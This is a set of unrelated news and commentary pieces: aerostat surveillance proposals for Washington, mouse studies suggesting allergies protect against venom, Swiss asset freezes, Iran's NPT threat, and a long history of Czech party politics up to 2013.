Chairwoman Candice S. Miller, R-Mich., visited U.S. Customs and Border Patrol ground stations along the Southern border in January and was amazed at the clarity of the Tethered Aerostat Radar System, or TARS. She is suggesting the "sophisticated technology" might suit the Capitol. That would mean giant blimps stretching along the Washington, D.C., skyline at around 10,000 feet. Deployed by federal law enforcement, the aerostats contain 2,000-pound radars in their bellies, capable of detecting aircraft at a range of 200 miles.
“They’re going to be using drones to deliver your taco here pretty soon," Miller said during a May 20 hearing featuring Capitol Police Chief Kim C. Dine. She suggested the department might be able to get "surplus stuff" from the Department of Defense. "I mean, this is what’s coming, so how can you be able to assess using technology that’s available, as quickly as you can?”
Other lawmakers take the suggestion of jumbo aeronautic balloons seriously, pointing to Hughes' flight as justification for investing more money into surveillance of Washington's skies. Both Republicans and Democrats have been "very clear" to federal law enforcement authorities that they want "anybody who has anything to do with airspace to avail themselves to the most sophisticated technology," said Rep. Elijah E. Cummings, D-Md., the ranking member of the House Oversight and Government Reform Committee.
"We're going to hold their feet to the fire. I think they are doing the best they can, but I think what this has shown is it shows you where you’re vulnerable,” Cummings continued. "There are always copycats."
Hughes will be back in D.C. court on June 22, facing two felony charges and four misdemeanors. He told reporters last week he believes if his flight exposed any security risks, they have been fixed. |
Millions of people suffer from hives or shortness of breath when they encounter everyday exposures such as pollens or peanuts. In their most favorable light you could think of your allergies as a really annoying super power, with telltale wheezing signaling your body senses the presence of something that you don’t see or consciously smell. Despite decades of inquiry, however, scientists remain unable to pin down why allergies occur.
Because allergic reactions basically mirror the way our body responds to parasites such as worms, working to expel them through sneezes, vomiting or watery eyes, the prevailing belief among allergy experts is that allergies are just an unfortunate misdirected immune response. A pair of new studies, however, takes a fresh look at why allergies occur and provides the first evidence that those bodily responses may be no accident at all. Rather, they could be the body’s way of protecting us against toxins in the environment.
This is not the first time the idea has been proposed, but these new works independently provide the first hard data to support it. By simulating honeybee stings and snakebites in mice, researchers found that exposure to these venoms can trigger a protective immune response in which the body creates specific antibodies to help neutralize the substances in future encounters. One study found that mice receiving a small dose of these venoms followed by a would-be fatal dose three weeks later had much higher survival rates than those given only the large dose. The researchers found evidence that mice receiving a small initial venom dose, akin to stings or bites, developed allergen-specific antibodies, which bind to cells throughout the body, priming them to quickly react to venoms. The papers, from researchers at the medical schools at Stanford University and Yale University are published in the November 14 issue of Immunity.
Knowing more about why venom allergies exist and tracing the molecular pathway of the immune response it elicits could have implications for understanding allergies to other things, too, the authors say. Itching, coughing or vomiting as a result of exposure to environmental irritants could signal that the body is ramping up a response to help you survive these substances in the future—or to predispose you to avoid them.
The studies fall short of settling the question once and for all of why we have allergies, however. For one, they do not provide any answers about why the immune system sometimes fatally overreacts with hypersensitive responses such as anaphylaxis, a potentially life-threatening allergic reaction that obstructs the airways and sparks a sudden drop in blood pressure. One theory, the authors posit, is these strong reactions are merely an evolutionary holdover: Anaphylaxis could just be the protective mechanism going into overdrive in a way that would have been worthwhile for our ancestors if the only other option was no protection for anyone against these toxins. The same principle may be at work with allergies as with sickle-cell anemia, says Stephen Galli, a pathologist from the Stanford team who focuses on immunology. With sickle-cell anemia, if you have two copies of the defective gene, you have a very serious disease but carrying just one copy helps protect individuals against malaria.
Generally, our immune systems have two modes for dealing with foreign substances. A type 1 response would kill an invader whereas a type 2 response would just expel it from the body. Pathogens such as bacteria and viruses, as well as infected human cells, trigger type 1, killing them. Parasites and other large external threats elicit a type 2 reaction—the expulsion strategy. Using a type 1 approach for something like allergens “would be like using a nuclear bomb to deal with street crime,” says Ruslan Medzhitov, an immunobiologist at Yale who co-authored one of the papers. Because pollen and venom are not parasites, many allergists have supported the idea that the immune system’s response to allergies is merely a glitch. This pair of studies, however, provides the first data suggesting why that response may be a deliberate action.
So then why do food allergies impact some 5 percent of all U.S. children when food is not directly harmful? The reasons still remain poorly understood, and these studies do not address them. Foods may have proteins that remind the body of other, harmful substances or are related to toxic plants. Thus, in the course of evolution our bodies may have unwittingly lumped them into the same category, Medzhitov says.
As for why allergies are seemingly on the rise, this work does nothing to dispel or support the so-called hygiene hypothesis, which links allergies to modern hyperclean environments. With the advent of clean water and childhoods devoid of consuming much dirt (and the millions of bacteria and viruses that come with them) the immune system does not receive the early training it needs to function correctly, the hypothesis says. A healthy exposure to those invaders leads the body to invest more in type 1 responses, including strong microbe defense, rather than type 2 reactions such as allergies.
The Stanford team simulated both bee stings and snakebites in two separate strains of mice to examine the extent to which genetics influences the immune response. They found that prior exposure to the venoms provided significant protections in both strains. When the mice were exposed to the bee venom and then reexposed three weeks later at least 80 percent survived; of the mice that were not similarly inoculated, under 30 percent managed to survive. Simulated snakebites among mice led to a similar death toll, with at least three quarters of venom-exposed mice surviving compared with only about a quarter of the control group. Moreover, in the case of honeybee venom this protection was transferable; unexposed mice injected with serum containing circulating bee-venom specific antibodies from the venom-injected mice experienced some protection when they encountered a near-lethal dose of venom 20 hours later.
The Yale team testing bee and snake venom exposures also found that after six weekly immunizations of an enzyme common across multiple venoms, mice reexposed to the enzyme after a week off were afforded better protection than their unimmunized brethren. In nature each venom may have slightly different impacts on the body in their whole form, but by focusing on this enzyme the investigators could study the molecular pathway that might trigger the body’s development of antibodies to multiple venoms, potentially setting the stage for future therapies, the authors say. Not all venoms contain this particular enzyme, but the findings, coupled with Stanford’s, provide new insights into allergen interactions with the body.
“It’s really hard to say if this will change the way people with allergies are treated or manage it, but at least physicians can say it’s not a total mystery why these allergies developed,” Galli remarks. The point of these works was to figure out why allergies exist at all, so we are still far from providing therapies based on these findings, Medzhitov says. The line between protection and anaphylaxis with venom is still narrow and we still don’t know what controls the transition from protective response to a deadly one, preventing any immediate treatments for now. |
Ambassador and Legal Adviser at the Swiss Foreign Ministry Valentin Zellweger gestures during a conference on dictators money at the Geneva Press Club in Geneva October 12, 2011. REUTERS/Denis Balibouse
GENEVA (Reuters) - Switzerland has blocked nearly one billion Swiss francs ($1.07 billion) in stolen assets linked to dictators in four countries at the centre of the Arab spring - Egypt, Libya, Syria and Tunisia - the Swiss foreign ministry said on Tuesday.
Swiss authorities are cooperating with judicial authorities in Tunisia and Egypt to speed restoration of the funds, but it is expected to take years, said Valentin Zellweger, head of the international law department at the Swiss foreign ministry.
“Today a total of one billion francs is blocked in the framework of Arab spring,” he told a news briefing in Geneva, giving the latest figures for funds frozen since early 2011.
The bulk of the assets, nearly 700 million francs, are tied to former President Hosni Mubarak and his entourage, he said.
Swiss foreign minister Didier Burkhalter held talks in Cairo on Sunday with his Egyptian counterpart Mohamed Kamal Amr on judicial cooperation to restore the embezzled funds, he said.
Some 60 million francs linked to ousted Tunisian president Ben Ali has also been seized, Zellweger said. In line with U.N. Security Council sanctions, 100 million francs linked to the late Libyan leader Muammar Gaddafi and 100 million francs linked to Syrian President Bashir al-Assad and associates are blocked.
Switzerland has worked hard in recent years to improve its image as a haven for ill-gotten gains, seizing the assets of deposed dictators and agreeing in 2009 to soften strict bank secrecy to help other countries catch tax cheats.
“In the past, the affair that was resolved most quickly was Abacha and it took 5 years,” Zellweger said, referring to assets linked to the late Nigerian dictator Sani Abacha. |
VIENNA (Reuters) - Any attack on Iran’s nuclear facilities may lead to it withdrawing from the Non-Proliferation Treaty (NPT), a pact aimed at preventing the spread of nuclear arms, a senior Iranian official said on Friday.
Iran's International Atomic Energy Agency (IAEA) ambassador Ali Asghar Soltanieh briefs the media after a meeting with IAEA's chief inspector Herman Nackaerts at the Iranian embassy in Vienna August 24, 2012. REUTERS/Herwig Prammer
Ali Asghar Soltanieh, Iran’s ambassador to the International Atomic Energy Agency, also suggested Iran in such a case could kick out IAEA inspectors and install its uranium enrichment centrifuges in “more secure” places.
His comments may strengthen concerns among many Western nuclear experts that military action against Iran aimed at preventing it from developing nuclear weapons may backfire and only drive its entire nuclear program underground.
There has been persistent speculation that Israel might bomb Iran, which it accuses of seeking a nuclear weapons capability. Iran denies the charge and says Israel’s assumed atomic arsenal is a threat to regional security.
If attacked, “there is a possibility that the (Iranian) parliament forces the government to stop the (U.N. nuclear) agency inspections or even in the worse scenario withdraw from the NPT,” Soltanieh said in a statement in English submitted to a meeting of the IAEA’s 35-nation Board of Governors.
Asked about Soltanieh’s comments, Israel’s ambassador to the IAEA, Ehud Azoulay, said: “I believe that they are going to do it anyhow, in the near future, so I’m not surprised.
“When they make their first nuclear explosion they will have to withdraw, I believe,” he told reporters, adding he thought Iran was “following the steps” of North Korea.
North Korea was the first country to withdraw from the NPT, in 2003, and has denied IAEA access to its atomic sites. It carried out nuclear tests in 2006 and in 2009.
Iran, one of the world’s largest oil producers, says its nuclear program is a peaceful bid to generate electricity.
Like nuclear-armed India and Pakistan, Israel has never signed the NPT. It neither confirms nor denies having nuclear arms, although non-proliferation and security analysts believe it has several hundred nuclear weapons.
“MASTER OF ENRICHMENT”
The Jewish state has said it would sign the treaty and renounce atomic weaponry only as part of a broader peace deal with Arab states and Iran that guaranteed its security.
Under the 189-nation NPT, which came into force in 1970, non-nuclear weapons states commit to not develop such arms.
Israel and the United States see Iran as the world’s main nuclear proliferation danger. Iran and Arab states say Israel’s nuclear capabilities threaten regional peace and security.
In a defiant 11-page statement which prompted one Western diplomat to say he was “very pessimistic” about a new round of talks between Iran and the IAEA in mid-December, Soltanieh said the Iranian nuclear file “has to be closed immediately” and U.N. inspections work regarding the country returned to “routine”.
“This is the only way that encourages Iran to show more flexibility in taking voluntary steps,” Soltanieh said.
The IAEA is seeking to resume a long-stalled investigation into suspicions that Iran has conducted atom bomb research, and Western officials accuse Tehran of stonewalling the inquiry.
Soltanieh said nuclear weapons have no use and only creates vulnerability, and that any military action against Iran would not stop it from enriching uranium.
Refined uranium can have both civilian and military purposes, and a series of U.N. Security Council resolutions since 2006 have demanded that Iran suspend the activity, something the Islamic state has repeatedly ruled out.
“Iran is master of enrichment technology ... it can easily replace damaged facilities,” Soltanieh said. But, he added, Iran is “well prepared to find a negotiated face-saving solution and a breakthrough from the existing stalemate”.
Related Coverage Stray bolts blamed for Iran nuclear plant shutdown: Russia source
Diplomacy between Iran and six world powers - the United States, China, Russia, France, Germany, and Britain - aimed at finding a peaceful solution to the decade-old dispute has been deadlocked since a June meeting that ended without success.
Both sides now say they want to resume talks soon, after the re-election of U.S. President Barack Obama, and diplomats expect a new meeting in Istanbul in December or January.
Iran has faced a tightening of Western trade sanctions which the United States and its allies hope will force it to curb its nuclear program. Soltanieh said: “Western sanctions have had no effect whatsoever on the enrichment activities.” |
Legislative elections were held in the Czech Republic on October 25-26, 2013. All 200 seats in the Chamber of Deputies (Poslanecká sněmovna), the lower house of the Czech Parliament (Parlamentu České republiky), were up for reelection. All members are elected to serve four-year terms by closed party-list proportional representation (d’Hondt, 5% national threshold for single parties, higher for coalitions) in fourteen multi-member constituencies corresponding to the Czech Republic’s 14 administrative regions (including Prague).
The Chamber of Deputies is, by far, the most powerful house in the country’s bicameral legislature. The Senate (Senát), which is composed of 81 senators elected to six-year terms (single-member constituencies, two round system), renewed by thirds every other year, is a toothless body. It can only delay the passage of legislation, because the lower house can override any veto with an absolute majority (101 deputies). As such, control of the Senate is rather irrelevant; the main opposition party has had an absolute majority on its own since 2010.
The Czech paradox: Parliamentary or semi-presidential?
The Czech Republic is, in theory, a parliamentary republic with the President confined to a more symbolic, less political role – while still holding some significant constitutional powers in his own right. For example, the President can veto legislation (which can be overriden with an absolute majority of the lower house), appoint judges, dissolve the Chamber of Deputies under certain conditions and appoint the Prime Minister; on other matters, the President may only exercise his authority with the consent of the Prime Minister.
However, in practice, the President is a rather powerful figure in Czech politics. Governments have tended to be weak or led by weaker men, while the presidency has attracted three powerful figures who all managed to assume a more prominent role in daily politics than the constitution would let us suppose. The first President, Václav Havel (1993-2003) commanded a good deal of moral authority because of his prestige as a leading dissident under communist rule. His successor, Václav Klaus (2003-2013), was outspoken and controversial, famous for his Eurosceptic views and skepticism of man-made climate change. Since a constitutional reform in 2012, the Czech President, previously elected by a convoluted process by both houses of Parliament, is now elected directly by the people. The direct election of the President confers greater legitimacy and authority to the presidency, given that the President may now claim to hold his mandate and legitimacy directly from voters.
Former Social Democratic Prime Minister Miloš Zeman, a brash and sharp-elbowed old politico, won the first direct presidential election in January 2013. Zeman, reputed to be something of an autocrat who dislikes parliamentary democracy, clearly envisions a much stronger presidency which directly intervenes in the working of the parliamentary government. As such, Zeman has been at the heart of the political crisis which led to the early dissolution of Parliament.
Background: Czech political history since 1990
Running somewhat counter to the recent trends seen in other ex-Eastern Bloc states (Poland, Bulgaria, some Baltic states, Hungary etc) pointing towards greater political and partisan stability, the Czech Republic’s political system has grown more unstable in the past few years.
The broad based pro-democracy Civic Forum, which had led the Czech Republic towards liberal democracy, split up as soon as it had lost its raison-d’être. The conservative and free market wing of the movement, led by Václav Klaus, created the Civic Democratic Party (Občanská demokratická strana, ODS), which became – by the 1992 elections – the leading right-wing party in the country (and the largest party altogether). Václav Klaus served as Prime Minister between 1992 and 1998, governing in coalition with smaller centre-right parties. Similar to other right-wing governments in former communist states across the region, Klaus’ government focused on structural reforms, including privatization of state enterprises, and the development of strong ties with western Europe and the United States. His government fell due to financial scandals and an economic downturn, and the ODS lost the 1998 and 2002 elections to the Social Democrats.
The Czech Social Democratic Party (Česká strana sociálně demokratická, ČSSD), which re-emerged following the fall of communism, was originally founded within the Austrian socialist party in 1878 and became an independent party in 1893. The ČSSD was a member of the five-party coalition which governed Czechoslovakia during the First Republic. Its cooperation with bourgeois parties led to a painful split in 1921 and the creation of the Communist Party of Czechoslovakia, who won over 10% in the 1925, 1929 and 1935 elections (placing ahead of the ČSSD in 1925). It was reborn after the fall of communism and established itself as the main centre-left force in 1996 (26.4%, vs. 29.6% for the ODS). Unlike most social democratic parties in Eastern Europe, the Czech Social Democrats are not descended from the ruling communist party from the Cold War years.
The ČSSD, led by Miloš Zeman, won the 1998 elections. Lacking an absolute majority or potential coalition partners, Miloš Zeman formed a minority government and signed an “Opposition Agreement” (opoziční smlouva) with ODS leader Václav Klaus. The ODS recognized Zeman’s right to form a government and pledged not to introduce confidence motions against the government (effectively giving it confidence and supply); in return, the government would consult the ODS on major policy initiatives and ODS politicians would be named to public offices – Klaus became speaker of the Chamber of Deputies. The opposition agreement shocked voters after a bitter campaign between both major parties, and soon met organized opposition from other parties, intellectuals and students. Both parties agreed to change the electoral law to make it more favourable to larger parties and a close ally of Klaus, Jiří Hodač, was named to head the public broadcaster, ČT. Employees of the TV network, supported by President Havel and a movement of intellectuals and students, protested against the nomination.
The opposition agreement marked an important moment in Czech political culture: it is often identified as the date when the political elite, from the ODS and ČSSD, agreed to share the spoils, betraying the voters, and when high-level corruption and collusion between big business and politicians was firmly entrenched in the political system. Corruption is an endemic issue in Czech politics, one which every successive government has struggled to deal with.
Zeman’s government laid the groundwork for the Czech Republic’s accession to the EU and NATO (2004 and 1999 respectively), but otherwise his tenure was largely unremarkable and the opposition agreement had a deleterious effect on the ČSSD in midterm senatorial and regional elections in 2000. In the 2002 elections, both the ODS and ČSSD saw their share of the vote fall somewhat, benefiting the Communists and a centrist coalition. This time, the ČSSD formed a coalition with two centrist/centre-right parties. Zeman was replaced as Prime Minister by Vladimír Špidla, whose two-year tenure was marked by coalition dissensions and attempts to reduce the country’s growing public debt. The ČSSD was crushed in the 2004 European elections, winning only single digits, and Špidla resigned.
His successor, Stanislav Gross, remained in office for less than a year before he was forced to resign following a financial scandal. He was replaced by Jiří Paroubek, who led the party into the June 2006 elections. From the lows of 2004-2005, Paroubek, helped by strong economic growth, managed to significantly improve the ČSSD’s support. The 2006 campaign was extremely acrimonious and dirty; Paroubek ran a scare campaign warning of the destruction of social services and a threat to democracy equivalent to February 1948 (the Communist coup) if the ODS won, while ODS leader Mirek Topolánek attacked the ČSSD on corruption scandals and refused to shake his opponent’s hands in the debate, saying he did not respect it. It even came to blows – an ODS adviser to the President, Miroslav Macek, slapped the ČSSD health minister, David Rath in the face because Rath had said that Macek had married his wife for the money.
In this polarized context, both the ODS and ČSSD performed well in the 2006 election – both parties increased their vote share from 2002, the ODS gaining some 11 points and winning 35.4%, the ČSSD gaining about 2 points and winning 32.3%. The net result was deadlock: the ODS and its potential allies – the centre-right and the Greens – held exactly 100 seats, the ČSSD and the Communists held the other 100 seats. The ČSSD would not work with the Communists, so ODS leader Mirek Topolánek was the favourite to become Prime Minister, but the process lasted over six months, until January 2007. He attempted to recreate an ‘opposition agreement’ with Paroubek but failed to do so. He was appointed to form a government in September 2006, and formed a minority government composed of the ODS and independents. In October, however, the Chamber refused confidence, 99 votes to 96. In January 2007, Klaus reluctantly agreed to appoint Topolánek as Prime Minister, this time with a coalition made up of the ODS, the centre-right (KDU-ČSL) and the Greens. Topolánek was able to receive the confidence of the Chamber, with two rogue ČSSD members leaving the Chamber and another abstaining, allowing Topolánek to win 100-97, with one abstention.
Topolánek’s main achievement during his term in office was a major fiscal reform. His government, as the ODS had promised in the campaign, scrapped the progressive income tax (12% to 32% rates) and introduced a 15% flat tax on personal incomes. This major public finance reform also gradually reduced the corporate tax rate from 24% to 19%, increased personal tax credits, increased the reduced rate of VAT from 5% to 9%, introduced environmental taxation, reduced social security benefits and introduced user fees in healthcare. Topolánek was also a strong supporter of the US missile defense system, and was fairly critical of the EU.
His government fell on a confidence vote in March 2009, with two ODS rebels and two Green dissidents joining the left-wing parties in voting against Topolánek’s cabinet, which fell 101 votes to 96. This opened a political crisis, compounded by the fact the the country was presiding the EU for six months. There was talk of snap elections in the fall of 2009, but the ODS and ČSSD, along with the Greens and KDU-ČSL, agreed to a transitional cabinet led by the head of the statistical office, Jan Fischer. Fischer’s technocratic cabinet included ministers nominated by the two major parties and the Greens.
Elections were finally held in May 2010 proved disastrous for both the ODS and ČSSD. The ODS’ campaign was severely disturbed when its top candidate, Topolánek, was forced to resign in April 2010 after an interview he gave to a gay magazine in which he said that gays and Jews lacked moral character (but the Jews more so), accused the churches of brainwashing people and berated ČSSD voters. This was not the first controversy for Topolánek, a fairly brash character: in the spring of 2009, photos showing up sunbathing naked at Silvio Berlusconi’s Sardinian villa were seized and in the summer of 2009 he held shady meetings with Czech lobbyists and industrialists in Tuscany. Topolánek was replaced by Petr Nečas, the vice-chairman of the ODS who had served as deputy Prime Minister in Topolánek’s governments. The opposition ČSSD (still led by Paroubek), had performed very well in the 2008 regional and senatorial elections, but they ran a terrible campaign. Paroubek boycotted two newspapers and three magazines which he accused of inciting hatred by its ties to right-wing parties. The right’s campaign on fiscal responsibility and reducing indebtedness struck a chord, as did fears that the country was “the next Greece”.
The ČSSD and ODS saw their support collapse, winning 22.1% and 20.2% respectively. The main winners this time were new parties, which ate into the ODS (and ČSSD)’s support. TOP 09 and Public Affairs (VV), two new centre-right parties, won 16.7% and 10.9% respectively. Commanding a right-wing majority, Petr Nečas was able to form a cabinet rather quickly, with the support of TOP 09 and VV. On strict party lines, he won confidence with 118 votes to 82.
The other forces
Until 2010, the other relevant parties included the Communists and a plethora of parties on the centre-right.
The Communist Party of Bohemia and Moravia (Komunistická strana Čech a Moravy, KSČM) is another Czech oddity in the former Eastern Bloc. No non-Soviet former Eastern Bloc state has retained a strong, electorally viable unreconstructed communist parties. In other countries, the majority of the former communist party went on to form the basis of contemporary centre-left parties and one-time communist party members joined parties all across the board. This has also been the case in the Czech Republic: a number of older politicians on both the left and right began their careers in the KSČ or its ‘allied parties’. The KSČ split in 1989, with the Czech branch being refounded in March 1990 as the KSČM (the Slovak Communist Party effectively died out). Czech Communists, broadly conservative, aimed at perpetuating the traditional party identity rather than redefining themselves as some kind of new, plural left.
The KSČM remains an ‘unreconstructed’ communist party which has not moved towards democratic socialism or eurocommunism. In the first years, anti-revionists managed to overwhelm moderates/’revisionists’ who favoured an evolution to democratic socialism. The new leadership was anti-revisionist, but not completely Stalinist – they did criticize the “inadequacies” of the pre-1989 regime, and did not advocate for a return to the pre-1989 regime (unlike a small handful of hardliners). Yet, for most of the 1990s, the KSČM was very much a pariah, systematically excluded from decision-making and political activities by the other parties.
The KSČM, much to the chagrin of the other parties, did not die out with the fall of communism. Instead, it has remained a strong force, with the most stable electorate of any Czech party. Since 1990, its supports has floated between 10% and 20%; it has never won less than 10% of the vote in a parliamentary election and usually wins between 11% and 14% of the vote, with a peak at 18.5% in 2002. In the 2012 regional elections, the KSČM placed second with 20.3% and topped the poll in two regions.
The ČSSD, in the 1995 Bohumíně resolution, stated that it would not cooperate with ‘extremist’ parties, including the KSČM. Since then, the ČSSD’s attitude towards the KSČM has shifted. Presidents Václav Havel and Václav Klaus both refused to appoint any Prime Minister and government which would be supported by the Communists; for example in 2004, Klaus demanded that Stanislav Gross submit a list of 101 non-Communist MPs who would back his government before appointing him.
In 2005, KSČM leader Miroslav Grebeníček was replaced by Vojtěch Filip, the party’s current leader. Filip has continued to adhere by the traditional party line, but his election was seen as an attempt to sanitize the party’s image and a greater openness to working with the ČSSD. Successive ČSSD leaders have refused to form a national governing coalition with the KSČM, but the party is more willing to accept the potential of forming a minority government with Communist support. Former Prime Minister Jiří Paroubek (2005-2006), repeatedly stated that he would not form a coalition with the Communists but his government was able to pass laws with Communist support. At the regional level, the ČSSD rules in coalition with the KSČM in 10 out of 13 regions; the KSČM even holds a regional presidency since 2012.
Although the ‘cordon sanitaire’ of sorts which isolated the KSČM is slowly being broken, the party remains very controversial. Although there is, in practice, nothing very revolutionary about a party whose average members’ age is 70, they retain a tendency to say fairly inconvenient things – nostalgia for “the good old days” (pre-1989) or sending condolences to North Korea on Kim Jong-Il’s death. Their youth organization was banned between 2006 and 2010 for advocating a violent revolution, and there have been repeated calls to ban the KSČM. Public opinion remains, in majority, hostile towards the party and there is a strong anti-communist movement.
In between the ODS and the ČSSD, a number of political parties have tried to form some kind of centrist/centre-right alternative to the two major parties and play the role of kingmakers.
The most successful of such parties, historically, has been the Christian Democratic Union-Czechoslovak People’s Party (Křesťanská a demokratická unie – Československá strana lidová, KDU-ČSL), which is a continuation of the ČSL, a clerical Catholic party which existed during the interwar years. In that period, the party, as the representative of the predominantly Moravian ‘clerical Catholic’ camp in Czechoslovak politics, was a member of almost every government coalition. It was allowed to operate after World War II, but after 1948 the Communists turned the ČSL into a puppet party, member of their ‘National Front’; but many members opposed communist rule. With two exceptions, the KDU-ČSL’s support since 1990 has ranged between 6% and 8%, providing them with a small but important caucus in Parliament. Between 1992 and 1997, the party supported ODS Prime Minister Václav Klaus.
Following the opposition agreement in 1998, the KDU-ČSL teamed up with three other parties, all of them on the centre-right, to form an anti-opposition agreement coalition, styled the Čtyřkoalice (Quad or Coalition of Four). The Čtyřkoalice also included the Civic Democratic Assembly (ODA), which left in 2002, and the liberal Freedom Union (ODS dissidents)/Democratic Union – who merged in 2001. The Čtyřkoalice enjoyed brief success; they won the 2000 senatorial elections (16/27 seats; giving them a majority of seats overall!) and placed second in the 2000 regional elections with 22.9%. But the ODA feuded with other parties and eventually disappeared, and the coalition itself dissolved. In the 2002 legislative elections, the centrist coalition of the KDU-ČSL and the US-DEU (Freedom Union-Democratic Union) won 14.2% of the vote.
The KDU-ČSL and US-DEU governed in coalition with the ČSSD until 2005, but the relation was uneasy. The KDU-ČSL forced Stanislav Gross to resign after the financial scandal, and Paroubek often turned to the Communists for parliamentary backing for his laws. Indeed, in 2003, Miroslav Kalousek, on the right of the party, became leader of the KDU-ČSL and did not hide his preference for participation in a right-wing coalition. Which is what they did after the 2006 election – the KDU-ČSL joined Topolánek’s ill-fated cabinet. The experience badly hurt the KDU-ČSL: Kalousek stepped down as party leader in 2006, his successor was forced to step down in 2009 following a number of scandals and the party’s leftward shift under Cyril Svoboda after 2009 was controversial.
In June 2009, Kalousek left the party and founded TOP 09 (Tradice, Odpovědnost, Prosperita 09), which attracted dissidents from the KDU-ČSL and ODS. Because Kalousek is a fairly unpopular and slimy politician implicated in numerous scandals, TOP 09 has made everybody believe that it is actually led by Karel Schwarzenberg, a colourful and popular prince, who had been elected to the Senate in 2004 and was nominated by the Greens as foreign minister in Topolánek’s second cabinet (2007-2009). TOP 09, boosted by Schwarzenberg and alliances with local groupings, won 16.7% in the 2010 election and became the second largest member of Petr Nečas’ cabinet, with Schwarzenberg returning as foreign minister and Kalousek serving as finance minister. Ideologically, TOP 09 is pro-European – unlike the ODS – but shares the ODS’ very right-wing views on economic and fiscal questions. TOP 09 seeks to reduce the size of government, cuts regulations, balance the budget and promote private enterprise.
Karel Schwarzenberg remains the party’s most popular public figure. He ran in the 2013 presidential election, placing second and losing the runoff to Zeman with 45.2% of the vote.
In the meantime, the KDU-ČSL performed disastrously in the 2010 election, winning 4.4% and losing all seats. The party, however, regrouped and returned to its normal levels of support in 2010 and 2012.
The 2010 election also saw the rise of Public Affairs (Věci veřejné, VV), an anti-corruption platform which emerged, beginning in 2001, from Prague local politics. In 2009, VV recruited popular investigative journalist Radek John as its leader, and his popularity – combined with growing anti-establishment sentiments and dissatisfaction with the political system – allowed VV to come out from nowhere to win about 11% of the vote in the 2010 election. At the time, little was known about what VV was, who it was and what it stood for.
2010-2013: the destruction of the party system
Petr Nečas’ government agenda included fiscal responsibility, the fight against corruption and rule of law. It basically failed on all three counts, especially the last two.
The government, to reduce the deficit and public debt, quickly introduced very unpopular austerity policies which included spending cuts, cutting public investments and tax increases.
The government adopted a major overdue pension reform in late 2012, which came into force in January 2013, which created a three-pillar system in which individuals may redirect 3% of their contribution, which in the past went into the state fund, into private pension funds. Opting to do so would increase an employee’s wage deductions by 2%, from 6.5% to 8.5%, and participants would not be able to change their minds later. The existing third pillar, which were voluntary privately-managed (with state contribution) supplementary schemes, will continue to exist but no longer accept participants. In parallel, a new type of third pillar voluntary supplementary fund with state contribution will be created. It was a tough reform to pass, meeting opposition from the left but also hostility from President Klaus.
The government faced a backbench revolt in November 2012 from its intentions to increase the VAT by 1%, increasing the base rate from 20% to 21% and the reduced rate from 14% to 15%. The government also modified the flat tax by adding a 22% tax rate on high incomes. The effect of the government’s austerity policies has been negative for the economy. While the country’s debt is under control and the deficit is hovering over or under the EU’s 3% limit (3.3% in 2011, 4.4% in 2012, 2.9% in 2013; down from 5.8% in 2009); austerity has decreased public demand and led to a double-dip recession: the GDP shrunk by 4.7% in 2009, and while it grew by +1.9% in 2011, the country was in recession in 2012 (-1.3%) and will likely be in recession again in 2013 (-0.4%).
The government was forced to backtrack on a controversial reform of post-secondary education in 2012. Originally, the government had sought to introduce tuition fees (up to 20,000 CZK), reduce student power in university decision-making and strengthen private sector stakeholders in governance of post-secondary institutions. There were student protests in 2011, and in June 2012 a new higher education minister, Petr Fiala, shelved the plans to engage in dialogue.
The government also dealt with the contentious issue of church restitution – compensating churches for the loss of lands and real property seized by the communist regime and financial compensations. Under the law passed in November 2012, the state will return land, real estate and legal property to churches, religious communities and legal persons – valued at 75 billion CZK. Privately-owned land or state-owned land used for military purposes or as national parks will not be returned. In addition, churches will receive a total of 59 billion CZK in financial compensation, 47.2 billion CZK of which will go to the Catholic Church. The bill was criticized by the opposition and VV, and faced constitutional challenges.
Besides presenting itself as a government of fiscal responsibility, the incoming government also promised to crack down on corruption. Nečas was originally known as ‘Mr. Clean’, and VV leader Radek John was named Deputy Prime Minister in charge of the fight against corruption.
Little was known of VV when it performed well in the 2010 elections, but it soon turned out that the whole ‘anti-corruption’ image was a sham and that the party reeked of corruption. The party – and the government – faced its first crisis in April 2011, when a number of VV MPs admitted, after the magazine Respekt had leaked details, that they had received substantial bribes from VV’s unofficial leader and transport minister Vit Bárta, in exchange for their loyalty and silence. Bárta resigned from cabinet a few days later and Nečas shuffled his cabinet, with Radek John stepping down as interior minister to focus solely on the ‘anti-corruption’ portfolio. In May, John resigned from cabinet, citing disagreements with Nečas.
VV’s troubles did not end there. In the spring of 2011, again, questions were raised about the source of the party’s financing – with suspicions of money laundering, illegal money and proceeds from the sale of shares. Again in April 2011, the newspaper Mladá fronta DNES published documents from 2008 in which Vit Bárta, who was then the owner of a shady security comapny (ABL), detailed his plans to use VV as a front to advance the economic interests of the company – basically put, a political party as part of a broader for-profit business plan. Other VV leaders were also tied to private businesses.
Later in 2011, education minister Josef Dobeš (VV) appointed controversial political activist Ladislav Bátora, suspected of ties to anti-Semitic and neo-fascist organizations, to a senior position in the ministry of education. The appointment met strong opposition from academics, but also disturbed members of the ODS and TOP 09. Karel Schwarzenberg and Bátora got into an heated shouting match, which created another crisis in cabinet. Bátora was forced to resign in October 2011.
In the fall of 2011, two cabinet ministers were forced to resign as a result of corruption scandals. The Minister of Industry and Trade, Martin Kocourek (ODS), resigned in November 2011 after he was unable to explain the origin of 16 million CZK in his mother’s bank account. In December 2011, the Minister of Culture, Jiří Besser (STAN/TOP 09) resigned after failing to declare that he owned an apartment in Florida and that a close associate had been sentenced for corruption.
In April 2012, Vit Bárta was sentenced by a Prague district court to 18 months imprisonment for bribery (later overturned on appeal). Despite his sentencing, however, Bárta announced that he would remain in Parliament and continue his political career. This led to an internal crisis in VV, with Karolína Peake, the Deputy Prime Minister, left the party along with two other cabinet ministers and four other VV MPs. Peake founded a new party, LIDEM (LIDEM – liberální demokraté), which remained in the government. The Prime Minister asked for a vote of confidence at the end of the month, which he carried with a much reduced majority of 105 MPs against 93. In January 2013, LIDEM came close to leaving the coalition after Nečas fired Peake from her defense portfolio, but it soon abandoned those plans.
In June 2012, Nečas dismissed the Minister of Justice, Jiří Pospíšil (ODS). Many speculated that the real reason behind Pospíšil’s sacking was that he intended to appoint the tough anti-corruption lawyer Lenka Bradáčová as chief public prosecutor in Prague (she was later appointed anyways).
Other corruption scandals involving members of the governing parties also hurt the government’s image. In the October 2012 regional and senatorial elections, worn down by the economy and its terrible record on corruption, the ODS suffered monumental loses – winning only 12.3% of the vote in the regional elections and losing no less than 10 seats in the Senate.
All of these scandals, however, were little in comparison to the massive scandal which brought down the Prime Minister and the government, leading to a political crisis.
The political crisis
